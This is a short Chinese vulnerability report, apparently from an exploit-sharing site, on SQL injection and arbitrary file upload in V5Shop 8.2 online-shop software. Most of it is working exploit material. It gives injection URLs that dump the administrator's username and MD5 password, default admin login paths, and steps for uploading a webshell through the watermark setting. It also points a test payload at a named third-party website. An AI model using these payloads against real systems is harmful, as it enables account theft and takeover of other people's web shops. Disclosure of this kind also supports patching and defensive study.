### 简要描述
V5Shop网店系统是上海威博旗下一款B2C网上开店软件产品,适合中小型企业及个人快速构建个性化网上商店。该程序V5shop8.2存在通杀SQL注入漏洞且非常严重,可直接爆出管理员帐号密码,后台上传也可做任何过滤。
### 利用EXP:
```
/commond.aspx?id=1 and 1=(select top 1 [name] from web_admin)
```
上面这个可以直接显示出管理员用户名
![](https://images.seebug.org/contribute/dba4025f-1ea5-43f0-b392-6ab97d9964b9-2015-10-17 11_57_45.png)
```
/commond.aspx?id=1 and 1=(select top 1 [pass] from web_admin)
```
上面这个可以显示MD5密码
![](https://images.seebug.org/contribute/d7d011cc-a133-4453-9e5a-a54d9432b57f-2015-10-17 11_58_07.png)
默认后台地址:
```
/weblogin/Login.aspx
```
或者后台地址:
```
/admin/Login.aspx
```
登陆后台后,拿webshell的方法非常简单,直接系统管理—参数设置—水印设置
![](https://images.seebug.org/contribute/b1d3aa86-cbdb-4444-a025-4f9ce7a61b65-2015-10-17 11_58_58.png)
这里没做任何过滤可上传任意木马文件格式
木马上传后地址:UploadFile/Picture/木马名称.asp
![](https://images.seebug.org/contribute/d914c460-cd44-4427-8f9f-631b50d764a9-2015-10-17 11_59_16.png)
### 验证地址:
```
http://www.diroadint.com/commond.aspx?id=1%20and%20@@version>0
```
![](https://images.seebug.org/contribute/c036d540-3a14-495b-951b-1943f3380146-8faef0d5-790d-4eae-9499-842c9f1a5809-sql_version.JPG)
全部评论 (4)